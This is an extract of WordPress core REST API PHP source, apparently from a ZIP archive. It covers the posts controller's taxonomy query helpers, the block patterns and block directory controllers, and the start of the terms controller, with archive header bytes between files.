WP_Query arguments. * @param WP_REST_Request $request Full details about the request. * @return array Updated query arguments. */ private function prepare_tax_query( array $args, WP_REST_Request $request ) { $relation = $request['tax_relation']; if ( $relation ) { $args['tax_query'] = array( 'relation' => $relation ); } $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $tax_include = $request[ $base ]; $tax_exclude = $request[ $base . '_exclude' ]; if ( $tax_include ) { $terms = array(); $include_children = false; $operator = 'IN'; if ( rest_is_array( $tax_include ) ) { $terms = $tax_include; } elseif ( rest_is_object( $tax_include ) ) { $terms = empty( $tax_include['terms'] ) ? array() : $tax_include['terms']; $include_children = ! empty( $tax_include['include_children'] ); if ( isset( $tax_include['operator'] ) && 'AND' === $tax_include['operator'] ) { $operator = 'AND'; } } if ( $terms ) { $args['tax_query'][] = array( 'taxonomy' => $taxonomy->name, 'field' => 'term_id', 'terms' => $terms, 'include_children' => $include_children, 'operator' => $operator, ); } } if ( $tax_exclude ) { $terms = array(); $include_children = false; if ( rest_is_array( $tax_exclude ) ) { $terms = $tax_exclude; } elseif ( rest_is_object( $tax_exclude ) ) { $terms = empty( $tax_exclude['terms'] ) ? array() : $tax_exclude['terms']; $include_children = ! empty( $tax_exclude['include_children'] ); } if ( $terms ) { $args['tax_query'][] = array( 'taxonomy' => $taxonomy->name, 'field' => 'term_id', 'terms' => $terms, 'include_children' => $include_children, 'operator' => 'NOT IN', ); } } } return $args; } /** * Prepares the collection schema for including and excluding items by terms. * * @since 5.7.0 * * @param array $query_params Collection schema. * @return array Updated schema. */ private function prepare_taxonomy_limit_schema( array $query_params ) { $taxonomies = wp_list_filter( get_object_taxonomies( $this->post_type, 'objects' ), array( 'show_in_rest' => true ) ); if ( ! $taxonomies ) { return $query_params; } $query_params['tax_relation'] = array( 'description' => __( 'Limit result set based on relationship between multiple taxonomies.' ), 'type' => 'string', 'enum' => array( 'AND', 'OR' ), ); $limit_schema = array( 'type' => array( 'object', 'array' ), 'oneOf' => array( array( 'title' => __( 'Term ID List' ), 'description' => __( 'Match terms with the listed IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), ), array( 'title' => __( 'Term ID Taxonomy Query' ), 'description' => __( 'Perform an advanced term query.' ), 'type' => 'object', 'properties' => array( 'terms' => array( 'description' => __( 'Term IDs.' ), 'type' => 'array', 'items' => array( 'type' => 'integer', ), 'default' => array(), ), 'include_children' => array( 'description' => __( 'Whether to include child terms in the terms limiting the result set.' ), 'type' => 'boolean', 'default' => false, ), ), 'additionalProperties' => false, ), ), ); $include_schema = array_merge( array( /* translators: %s: Taxonomy name. */ 'description' => __( 'Limit result set to items with specific terms assigned in the %s taxonomy.' ), ), $limit_schema ); // 'operator' is supported only for 'include' queries. $include_schema['oneOf'][1]['properties']['operator'] = array( 'description' => __( 'Whether items must be assigned all or any of the specified terms.' ), 'type' => 'string', 'enum' => array( 'AND', 'OR' ), 'default' => 'OR', ); $exclude_schema = array_merge( array( /* translators: %s: Taxonomy name. */ 'description' => __( 'Limit result set to items except those with specific terms assigned in the %s taxonomy.' ), ), $limit_schema ); foreach ( $taxonomies as $taxonomy ) { $base = ! empty( $taxonomy->rest_base ) ? $taxonomy->rest_base : $taxonomy->name; $base_exclude = $base . '_exclude'; $query_params[ $base ] = $include_schema; $query_params[ $base ]['description'] = sprintf( $query_params[ $base ]['description'], $base ); $query_params[ $base_exclude ] = $exclude_schema; $query_params[ $base_exclude ]['description'] = sprintf( $query_params[ $base_exclude ]['description'], $base ); if ( ! $taxonomy->hierarchical ) { unset( $query_params[ $base ]['oneOf'][1]['properties']['include_children'] ); unset( $query_params[ $base_exclude ]['oneOf'][1]['properties']['include_children'] ); } } return $query_params; } } PK�������!�%P$��P$��+��class-wp-rest-block-patterns-controller.phpnu�[��������<?php /** * REST API: WP_REST_Block_Patterns_Controller class * * @package WordPress * @subpackage REST_API * @since 6.0.0 */ /** * Core class used to access block patterns via the REST API. * * @since 6.0.0 * * @see WP_REST_Controller */ class WP_REST_Block_Patterns_Controller extends WP_REST_Controller { /** * Defines whether remote patterns should be loaded. * * @since 6.0.0 * @var bool */ private $remote_patterns_loaded; /** * An array that maps old categories names to new ones. * * @since 6.2.0 * @var array */ protected static $categories_migration = array( 'buttons' => 'call-to-action', 'columns' => 'text', 'query' => 'posts', ); /** * Constructs the controller. * * @since 6.0.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'block-patterns/patterns'; } /** * Registers the routes for the objects of the controller. * * @since 6.0.0 */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read block patterns. * * @since 6.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view the registered block patterns.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves all block patterns. * * @since 6.0.0 * @since 6.2.0 Added migration for old core pattern categories to the new ones. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( ! $this->remote_patterns_loaded ) { // Load block patterns from w.org. _load_remote_block_patterns(); // Patterns with the `core` keyword. _load_remote_featured_patterns(); // Patterns in the `featured` category. _register_remote_theme_patterns(); // Patterns requested by current theme. $this->remote_patterns_loaded = true; } $response = array(); $patterns = WP_Block_Patterns_Registry::get_instance()->get_all_registered(); foreach ( $patterns as $pattern ) { $migrated_pattern = $this->migrate_pattern_categories( $pattern ); $prepared_pattern = $this->prepare_item_for_response( $migrated_pattern, $request ); $response[] = $this->prepare_response_for_collection( $prepared_pattern ); } return rest_ensure_response( $response ); } /** * Migrates old core pattern categories to the new categories. * * Core pattern categories are revamped. Migration is needed to ensure * backwards compatibility. * * @since 6.2.0 * * @param array $pattern Raw pattern as registered, before applying any changes. * @return array Migrated pattern. */ protected function migrate_pattern_categories( $pattern ) { // No categories to migrate. if ( ! isset( $pattern['categories'] ) || ! is_array( $pattern['categories'] ) ) { return $pattern; } foreach ( $pattern['categories'] as $index => $category ) { // If the category exists as a key, then it needs migration. if ( isset( static::$categories_migration[ $category ] ) ) { $pattern['categories'][ $index ] = static::$categories_migration[ $category ]; } } return $pattern; } /** * Prepare a raw block pattern before it gets output in a REST API response. * * @since 6.0.0 * @since 6.3.0 Added `source` property. * * @param array $item Raw pattern as registered, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { // Resolve pattern blocks so they don't need to be resolved client-side // in the editor, improving performance. $blocks = parse_blocks( $item['content'] ); $blocks = resolve_pattern_blocks( $blocks ); $item['content'] = serialize_blocks( $blocks ); $fields = $this->get_fields_for_response( $request ); $keys = array( 'name' => 'name', 'title' => 'title', 'content' => 'content', 'description' => 'description', 'viewportWidth' => 'viewport_width', 'inserter' => 'inserter', 'categories' => 'categories', 'keywords' => 'keywords', 'blockTypes' => 'block_types', 'postTypes' => 'post_types', 'templateTypes' => 'template_types', 'source' => 'source', ); $data = array(); foreach ( $keys as $item_key => $rest_key ) { if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) { $data[ $rest_key ] = $item[ $item_key ]; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); return rest_ensure_response( $data ); } /** * Retrieves the block pattern schema, conforming to JSON Schema. * * @since 6.0.0 * @since 6.3.0 Added `source` property. * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-pattern', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The pattern name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'title' => array( 'description' => __( 'The pattern title, in human readable format.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'content' => array( 'description' => __( 'The pattern content.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'The pattern detailed description.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'viewport_width' => array( 'description' => __( 'The pattern viewport width for inserter preview.' ), 'type' => 'number', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'inserter' => array( 'description' => __( 'Determines whether the pattern is visible in inserter.' ), 'type' => 'boolean', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'categories' => array( 'description' => __( 'The pattern category slugs.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'keywords' => array( 'description' => __( 'The pattern keywords.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'block_types' => array( 'description' => __( 'Block types that the pattern is intended to be used with.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'post_types' => array( 'description' => __( 'An array of post types that the pattern is restricted to be used with.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'template_types' => array( 'description' => __( 'An array of template types where the pattern fits.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'source' => array( 'description' => __( 'Where the pattern comes from e.g. core' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), 'enum' => array( 'core', 'plugin', 'theme', 'pattern-directory/core', 'pattern-directory/theme', 'pattern-directory/featured', ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } } PK�������!�Ćv&��&��,��class-wp-rest-block-directory-controller.phpnu�[��������<?php /** * REST API: WP_REST_Block_Directory_Controller class * * @package WordPress * @subpackage REST_API * @since 5.5.0 */ /** * Controller which provides REST endpoint for the blocks. * * @since 5.5.0 * * @see WP_REST_Controller */ class WP_REST_Block_Directory_Controller extends WP_REST_Controller { /** * Constructs the controller. */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'block-directory'; } /** * Registers the necessary REST API routes. */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base . '/search', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to install and activate plugins. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has permission, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( ! current_user_can( 'install_plugins' ) || ! current_user_can( 'activate_plugins' ) ) { return new WP_Error( 'rest_block_directory_cannot_view', __( 'Sorry, you are not allowed to browse the block directory.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Search and retrieve blocks metadata * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { require_once ABSPATH . 'wp-admin/includes/plugin-install.php'; require_once ABSPATH . 'wp-admin/includes/plugin.php'; $response = plugins_api( 'query_plugins', array( 'block' => $request['term'], 'per_page' => $request['per_page'], 'page' => $request['page'], ) ); if ( is_wp_error( $response ) ) { $response->add_data( array( 'status' => 500 ) ); return $response; } $result = array(); foreach ( $response->plugins as $plugin ) { // If the API returned a plugin with empty data for 'blocks', skip it. if ( empty( $plugin['blocks'] ) ) { continue; } $data = $this->prepare_item_for_response( $plugin, $request ); $result[] = $this->prepare_response_for_collection( $data ); } return rest_ensure_response( $result ); } /** * Parse block metadata for a block, and prepare it for an API response. * * @since 5.5.0 * @since 5.9.0 Renamed `$plugin` to `$item` to match parent class for PHP 8 named parameter support. * * @param array $item The plugin metadata. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $plugin = $item; $fields = $this->get_fields_for_response( $request ); // There might be multiple blocks in a plugin. Only the first block is mapped. $block_data = reset( $plugin['blocks'] ); // A data array containing the properties we'll return. $block = array( 'name' => $block_data['name'], 'title' => ( $block_data['title'] ? $block_data['title'] : $plugin['name'] ), 'description' => wp_trim_words( $plugin['short_description'], 30, '...' ), 'id' => $plugin['slug'], 'rating' => $plugin['rating'] / 20, 'rating_count' => (int) $plugin['num_ratings'], 'active_installs' => (int) $plugin['active_installs'], 'author_block_rating' => $plugin['author_block_rating'] / 20, 'author_block_count' => (int) $plugin['author_block_count'], 'author' => wp_strip_all_tags( $plugin['author'] ), 'icon' => $plugin['icons']['1x'] ?? 'block-default', 'last_updated' => gmdate( 'Y-m-d\TH:i:s', strtotime( $plugin['last_updated'] ) ), 'humanized_updated' => sprintf( /* translators: %s: Human-readable time difference. */ __( '%s ago' ), human_time_diff( strtotime( $plugin['last_updated'] ) ) ), ); $this->add_additional_fields_to_object( $block, $request ); $response = new WP_REST_Response( $block ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $response->add_links( $this->prepare_links( $plugin ) ); } return $response; } /** * Generates a list of links to include in the response for the plugin. * * @since 5.5.0 * * @param array $plugin The plugin data from WordPress.org. * @return array */ protected function prepare_links( $plugin ) { $links = array( 'https://api.w.org/install-plugin' => array( 'href' => add_query_arg( 'slug', urlencode( $plugin['slug'] ), rest_url( 'wp/v2/plugins' ) ), ), ); $plugin_file = $this->find_plugin_for_slug( $plugin['slug'] ); if ( $plugin_file ) { $links['https://api.w.org/plugin'] = array( 'href' => rest_url( 'wp/v2/plugins/' . substr( $plugin_file, 0, - 4 ) ), 'embeddable' => true, ); } return $links; } /** * Finds an installed plugin for the given slug. * * @since 5.5.0 * * @param string $slug The WordPress.org directory slug for a plugin. * @return string The plugin file found matching it. */ protected function find_plugin_for_slug( $slug ) { require_once ABSPATH . 'wp-admin/includes/plugin.php'; $plugin_files = get_plugins( '/' . $slug ); if ( ! $plugin_files ) { return ''; } $plugin_files = array_keys( $plugin_files ); return $slug . '/' . reset( $plugin_files ); } /** * Retrieves the theme's schema, conforming to JSON Schema. * * @since 5.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-directory-item', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The block name, in namespace/block-name format.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'title' => array( 'description' => __( 'The block title, in human readable format.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'description' => array( 'description' => __( 'A short description of the block, in human readable format.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'id' => array( 'description' => __( 'The block slug.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'rating' => array( 'description' => __( 'The star rating of the block.' ), 'type' => 'number', 'context' => array( 'view' ), ), 'rating_count' => array( 'description' => __( 'The number of ratings.' ), 'type' => 'integer', 'context' => array( 'view' ), ), 'active_installs' => array( 'description' => __( 'The number sites that have activated this block.' ), 'type' => 'integer', 'context' => array( 'view' ), ), 'author_block_rating' => array( 'description' => __( 'The average rating of blocks published by the same author.' ), 'type' => 'number', 'context' => array( 'view' ), ), 'author_block_count' => array( 'description' => __( 'The number of blocks published by the same author.' ), 'type' => 'integer', 'context' => array( 'view' ), ), 'author' => array( 'description' => __( 'The WordPress.org username of the block author.' ), 'type' => 'string', 'context' => array( 'view' ), ), 'icon' => array( 'description' => __( 'The block icon.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view' ), ), 'last_updated' => array( 'description' => __( 'The date when the block was last updated.' ), 'type' => 'string', 'format' => 'date-time', 'context' => array( 'view' ), ), 'humanized_updated' => array( 'description' => __( 'The date when the block was last updated, in human readable format.' ), 'type' => 'string', 'context' => array( 'view' ), ), ), ); return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the search params for the blocks collection. * * @since 5.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params['term'] = array( 'description' => __( 'Limit result set to blocks matching the search term.' ), 'type' => 'string', 'required' => true, 'minLength' => 1, ); unset( $query_params['search'] ); /** * Filters REST API collection parameters for the block directory controller. * * @since 5.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_block_directory_collection_params', $query_params ); } } PK�������!�^u��u��"��class-wp-rest-terms-controller.phpnu�[��������<?php /** * REST API: WP_REST_Terms_Controller class * * @package WordPress * @subpackage REST_API * @since 4.7.0 */ /** * Core class used to managed terms associated with a taxonomy via the REST API. * * @since 4.7.0 * * @see WP_REST_Controller */ class WP_REST_Terms_Controller extends WP_REST_Controller { /** * Taxonomy key. * * @since 4.7.0 * @var string */ protected $taxonomy; /** * Instance of a term meta fields object. * * @since 4.7.0 * @var WP_REST_Term_Meta_Fields */ protected $meta; /** * Column to have the terms be sorted by. * * @since 4.7.0 * @var string */ protected $sort_column; /** * Number of terms that were found. * * @since 4.7.0 * @var int */ protected $total_terms; /** * Whether the controller supports batching. * * @since 5.9.0 * @var array */ protected $allow_batch = array( 'v1' => true ); /** * Constructor. * * @since 4.7.0 * * @param string $taxonomy Taxonomy key. */ public function __construct( $taxonomy ) { $this->taxonomy = $taxonomy; $tax_obj = get_taxonomy( $taxonomy ); $this->rest_base = ! empty( $tax_obj->rest_base ) ? $tax_obj->rest_base : $tax_obj->name; $this->namespace = ! empty( $tax_obj->rest_namespace ) ? $tax_obj->rest_namespace : 'wp/v2'; $this->meta = new WP_REST_Term_Meta_Fields( $taxonomy ); } /** * Registers the routes for terms. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<id>[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the term.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Required to be true, as terms do not support trashing.' ), ), ), ), 'allow_batch' => $this->allow_batch, 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if the terms for a post can be read. * * @since 6.0.3 * * @param WP_Post $post Post object. * @param WP_REST_Request $request Full details about the request. * @return bool Whether the terms for the post can be read. */ public function check_read_terms_permission_for_post( $post, $request ) { // If the requested post isn't associated with this taxonomy, deny access. if ( ! is_object_in_taxonomy( $post->post_type, $this->taxonomy ) ) { return false; } // Grant access if the post is publicly viewable. if ( is_post_publicly_viewable( $post ) ) { return true; } // Otherwise grant access if the post is readable by the logged-in user. if ( current_user_can( 'read_post', $post->ID ) ) { return true; } // Otherwise, deny access. return false; } /** * Checks if a request has access to read terms in the specified taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has read access, otherwise false or WP_Error object. */ public function get_items_permissions_check( $request ) { $tax_obj = get_taxonomy( $this->taxonomy ); if ( ! $tax_obj || ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) { return false; } if ( 'edit' === $request['context'] && ! current_user_can( $tax_obj->cap->edit_terms ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! empty( $request['post'] ) ) { $post = get_post( $request['post'] ); if ( ! $post ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 'status' => 400, ) ); } if ( ! $this->check_read_terms_permission_for_post( $post, $request ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to view terms for this post.' ), array( 'status' => rest_authorization_required_code(), ) ); } } return true; } /** * Retrieves terms associated with a taxonomy. * * @since 4.7.0 * @since 6.8.0 Respect default query arguments set for the taxonomy upon registration. * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'exclude' => 'exclude', 'include' => 'include', 'order' => 'order', 'orderby' => 'orderby', 'post' => 'post', 'hide_empty' => 'hide_empty', 'per_page' => 'number', 'search' => 'search', 'slug' => 'slug', ); $prepared_args = array( 'taxonomy' => $this->taxonomy ); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $prepared_args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $prepared_args[ $wp_param ] = $request[ $api_param ]; } } if ( isset( $prepared_args['orderby'] ) && isset( $request['orderby'] ) ) { $orderby_mappings = array( 'include_slugs' => 'slug__in', ); if ( isset( $orderby_mappings[ $request['orderby'] ] ) ) { $prepared_args['orderby'] = $orderby_mappings[ $request['orderby'] ]; } } if ( isset( $registered['offset'] ) && ! empty( $request['offset'] ) ) { $prepared_args['offset'] = $request['offset']; } else { $prepared_args['offset'] = ( $request['page'] - 1 ) * $prepared_args['number']; } $taxonomy_obj = get_taxonomy( $this->taxonomy ); if ( $taxonomy_obj->hierarchical && isset( $registered['parent'], $request['parent'] ) ) { if ( 0 === $request['parent'] ) { // Only query top-level terms. $prepared_args['parent'] = 0; } else { if ( $request['parent'] ) { $prepared_args['parent'] = $request['parent']; } } } /* * When a taxonomy is registered with an 'args' array, * those params override the `$args` passed to this function. * * We only need to do this if no `post` argument is provided. * Otherwise, terms will be fetched using `wp_get_object_terms()`, * which respects the default query arguments set for the taxonomy. */ if ( empty( $prepared_args['post'] ) && isset( $taxonomy_obj->args ) && is_array( $taxonomy_obj->args ) ) { $prepared_args = array_merge( $prepared_args, $taxonomy_obj->args ); } $is_head_request = $request->is_method( 'HEAD' ); if ( $is_head_request ) { // Force the 'fields' argument. For HEAD requests, only term IDs are required. $prepared_args['fields'] = 'ids'; // Disable priming term meta for HEAD requests to improve performance. $prepared_args['update_term_meta_cache'] = false; } /** * Filters get_terms() arguments when querying terms via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_category_query` * - `rest_post_tag_query` * * Enables adding extra arguments or setting defaults for a terms * collection request. * * @since 4.7.0 * * @link https://developer.wordpress.org/reference/functions/get_terms/ * * @param array $prepared_args Array of arguments for get_terms(). * @param WP_REST_Request $request The REST API request. */ $prepared_args = apply_filters( "rest_{$this->taxonomy}_query", $prepared_args, $request ); if ( ! empty( $prepared_args['post'] ) ) { $query_result = wp_get_object_terms( $prepared_args['post'], $this->taxonomy, $prepared_args ); // Used when calling wp_count_terms() below. $prepared_args['object_ids'] = $prepared_args['post']; } else { $query_result = get_terms( $prepared_args ); } $count_args = $prepared_args; unset( $count_args['number'], $count_args['offset'] ); $total_terms = wp_count_terms( $count_args ); // wp_count_terms() can return a falsey value when the term has no children. if ( ! $total_terms ) { $total_terms = 0; } if ( ! $is_head_request ) { $response = array(); foreach ( $query_result as $term ) { if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) { continue; } $data = $this->prepare_item_for_response( $term, $request ); $response[] = $this->prepare_response_for_collection( $data ); } } $response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $response ); // Store pagination values for headers. $per_page = (int) $prepared_args['number']; $page = (int) ceil( ( ( (int) $prepared_args['offset'] ) / $per_page ) + 1 ); $response->header( 'X-WP-Total', (int) $total_terms ); $max_pages = (int) ceil( $total_terms / $per_page ); $response->header( 'X-WP-TotalPages', $max_pages ); $request_params = $request->get_query_params(); $collection_url = rest_url( rest_get_route_for_taxonomy_items( $this->taxonomy ) ); $base = add_query_arg( urlencode_deep( $request_params ), $collection_url ); if ( $page > 1 ) { $prev_page = $page - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $page ) { $next_page = $page + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Get the term, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Term|WP_Error Term object if ID is valid, WP_Error otherwise. */ protected function get_term( $id ) { $error = new WP_Error( 'rest_term_invalid', __( 'Term does not exist.' ), array( 'status' => 404 ) ); if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) { return $error; } if ( (int) $id <= 0 ) { return $error; } $term = get_term( (int) $id, $this->taxonomy ); if ( empty( $term ) || $term->taxonomy !== $this->taxonomy ) { return $error; } return $term; } /** * Checks if a request has access to read or edit the specified term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, otherwise WP_Error object. */ public function get_item_permissions_check( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } if ( 'edit' === $request['context'] && ! current_user_can( 'edit_term', $term->term_id ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit this term.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Gets a single term from a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $term = $this->get_term( $request['id'] ); if ( is_wp_error( $term ) ) { return $term; } $response = $this->prepare_item_for_response( $term, $request ); return rest_ensure_response( $response ); } /** * Checks if a request has access to create a term. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return bool|WP_Error True if the request has access to create items, otherwise false or WP_Error object. */ public function create_item_permissions_check( $request ) { if ( ! $this->check_is_taxonomy_allowed( $this->taxonomy ) ) { return false; } $taxonomy_obj = get_taxonomy( $this->taxonomy ); if ( ( is_taxonomy_hierarchical( $this->taxonomy ) && ! current_user_can( $taxonomy_obj->cap->edit_terms ) ) || ( ! is_taxonomy_hierarchical( $this->taxonomy ) && ! current_user_can( $taxonomy_obj->cap->assign_terms ) ) ) { return new WP_Error( 'rest_cannot_create', __( 'Sorry, you are not allowed to create terms in this taxonomy.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Creates a single term in a taxonomy. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { if ( isset( $request['parent'] ) ) { if ( ! is_taxonomy_hierarchical( $this->taxonomy ) ) { return new WP_Error( 'rest_taxonomy_not_hierarchical', __( 'Cannot set parent term, taxonomy is not hierarchical.' ), array( 'status' => 400 ) ); } $parent = get_term( (int) $request['parent'], $this->taxonomy ); if ( ! $parent ) { return new WP_Error( 'rest_term_invalid', __( 'Parent term does not exist.' ), array( 'status' => 400 ) ); } } $prepared_term = $this->prepare_item_for_database( $request ); $term = wp_insert_term( wp_slash( $prepared_term->name ), $this->taxonomy, wp_slash( (array) $prepared_term ) ); if ( is_wp_error( $term ) ) { /* * If we're going to inform the client that the term already exists, * give them the identifier for future use. */ $term_id = $term->get_error_data( 'term_exists' ); if ( $term_id ) { $existing_term = get_term( $term_id, $this->taxonomy ); $term->add_data( $existing_term->term_id, 'term_exists' ); $term->add_data( array( 'status' => 400, 'term_id' => $term_id, ) ); } return $term; } $term = get_term( $term['term_id'], $this->taxonomy ); /** * Fires after a single term is created or updated via the REST API. * * The dynamic portion of the hook name, `$this->taxonomy`, refers to the taxonomy slug. * * Possible hook names include: * * - `rest_insert_category` * - `rest_insert_post_tag` * * @since 4.7.0 * * @param WP_Term $term Inserted or updated term object. * @param WP_REST_Request $request Request object. * @param bool $creating True when creating a term, false when updating. 